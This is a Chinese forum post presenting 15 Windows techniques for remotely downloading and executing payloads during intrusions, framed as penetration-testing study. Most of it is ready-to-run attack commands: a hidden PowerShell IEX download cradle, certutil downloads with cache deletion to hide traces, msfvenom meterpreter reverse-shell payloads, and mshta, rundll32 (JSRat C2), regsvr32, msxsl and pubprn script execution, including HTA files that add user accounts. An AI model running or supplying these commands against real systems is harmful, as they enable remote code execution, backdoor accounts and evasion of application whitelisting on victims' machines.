本帖最后由 山东_朱文鑫 于 2023-6-23 23:44 编辑
大家好,我是大白,坚持不懈地前进,才能保持荣誉;罢手不干,便会像一套久搁生锈的铠甲,过时的式样,会成为世人揶揄的资料。依旧感谢各位小伙伴的一路支持与陪伴,祝各位小伙伴端午节快乐!!!!
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!
今天分享大白的渗透安全之Windows命令文件传输方式篇,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透攻防的“魅力”。
一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。第一种,远程下载文件到本地,然后再执行;第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式。另外呢,只要你所在服务器的环境支持,你也可以通过任何一门语言来实现它,这种方式暂不在本文的讨论范围之内。
在这里,收集了15种常见的文件下载执行的方式,并结合具体案例并且进行解析。
PowerShell
PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。
远程下载文件保存在本地:
- powershell (new-object System.Net.WebClient).DownloadFile('http://ip地址/imag/evil.txt','evil.exe')
复制代码
远程执行命令:
- powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://IP地址/imag/evil.txt'))"
复制代码
Bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。
- bitsadmin /transfer n http://IP地址/imag/evil.txt d:\test\1.txt
复制代码
输入以上命令,成功下载文件。
certutil
用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
- #下载文件
- certutil -urlcache -split -f http://IP地址/imag/evil.txt test.php
- #删除缓存
- certutil -urlcache -split -f http://IP地址/imag/evil.txt delete
复制代码
wget
Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。
- wget -O "evil.txt" http://IP地址/imag/evil.txt
复制代码
ipc$文件共享
IPC$是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
- #建立远程IPC连接
- net use \\IP地址\ipc$ /user:administrator "abc123!"
- #复制远程文件到本地主机
- copy \\IP地址\c$\2.txt D:\test
复制代码
FTP
一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。
- ftp 127.0.0.1
- username
- password
- get file
- exit
复制代码
TFTP
用来下载远程文件的最简单的网络协议,它基于UDP协议而实现
- tftp -i 你的IP get 要下载文件 存放位置
复制代码
WinScp
WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。
- #上传
- winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@IP地址:端口" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt
- #下载
- winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@IP地址:端口" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.txt
复制代码
使用winscp.exe 作为命令行参数执行远程上传/下载操作。
msiexec
msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行:
- #生成msi包
- msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
- #远程执行
- msiexec /q /i http://IP地址/evil.msi
复制代码
成功添加了一个test用户:
IEExec
IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。
生成Payload:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=IP地址 lport=端口号 -f exe -o evil.exe
复制代码
使用管理员身份打开cmd,分别运行下面两条命令。
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://IP地址/evil.exe
复制代码
mshta
mshta用于执行.hta文件,而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。
- mshta http://IP地址/run.hta
复制代码
run.hta内容如下:
- <HTML>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
- <HEAD>
- <script language="VBScript">
- Window.ReSizeTo 0, 0
- Window.moveTo -2000,-2000
- Set objShell = CreateObject("Wscript.Shell")
- objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令
- self.close
- </script>
- <body>
- demo
- </body>
- </HEAD>
- </HTML>
复制代码
rundll32
其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序。
步骤一:开始运行JSRat,监听本地8888端口。
步骤二:通过url访问,可以查看恶意代码。
复制代码如下:
- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://IP地址:端口 /connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
复制代码
步骤三:在受害者PC运行该代码,将成功返回一个会话,如下图所示:
regsvr32
Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行
在目标机上执行:
- regsvr32.exe /u /n /s /i:http://IP地址:端口号/file.sct scrobj.dll
复制代码
可以通过自己构造.sct文件,去下载执行我们的程序
- <?XML version="1.0"?>
- <scriptlet>
- <registration
- progid="ShortJSRAT"
- classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
- <script language="JScript">
- <![CDATA[
- ps = "cmd.exe /c calc.exe";
- new ActiveXObject("WScript.Shell").Run(ps,0,true);
- ]]>
- </script>
- </registration>
- </scriptlet>
复制代码
执行命令,成功弹计算器:
MSXSL.EXE
msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。
msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:
- msxsl http://IP地址/scripts/demo.xml http://IP地址/scripts/exec.xsl
复制代码
demo.xml
- <?xml version="1.0"?>
- <?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
- <customers>
- <customer>
- <name>Microsoft</name>
- </customer>
- </customers>
复制代码
exec.xsl
- <?xml version='1.0'?>
- <xsl:stylesheet version="1.0"
- xmlns:xsl="http://域名/1999/XSL/Transform"
- xmlns:msxsl="urn:schemas-microsoft-com:xslt"
- xmlns:user="http://mycompany.com/mynamespace">
- <msxsl:script language="JScript" implements-prefix="user">
- function xml(nodelist) {
- var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
- return nodelist.nextNode().xml;
- }
- </msxsl:script>
- <xsl:template match="/">
- <xsl:value-of select="user:xml(.)"/>
- </xsl:template>
- </xsl:stylesheet>
复制代码
pubprn.vbs
在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()
- "C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
复制代码
test.sct
- <?XML version="1.0"?>
- <scriptlet>
- <registration
- description="Bandit"
- progid="Bandit"
- version="1.00"
- classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
- remotable="true"
- >
- </registration>
- <script language="JScript">
- <![CDATA[
- var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
- ]]>
- </script>
- </scriptlet>
复制代码
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取,网络不是法外之地!!!!
以上就是本次的渗透安全之Windows权限维持后门隐藏篇,一句忠告:业务备份一时不做一时爽,问题出现两行泪,感谢大佬们的参阅,此贴先到这里后续会带上更加实用的帖子,感谢大家!
励志分享超清壁纸语句~~:
内不欺己,外不欺人。———孔子
好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!! |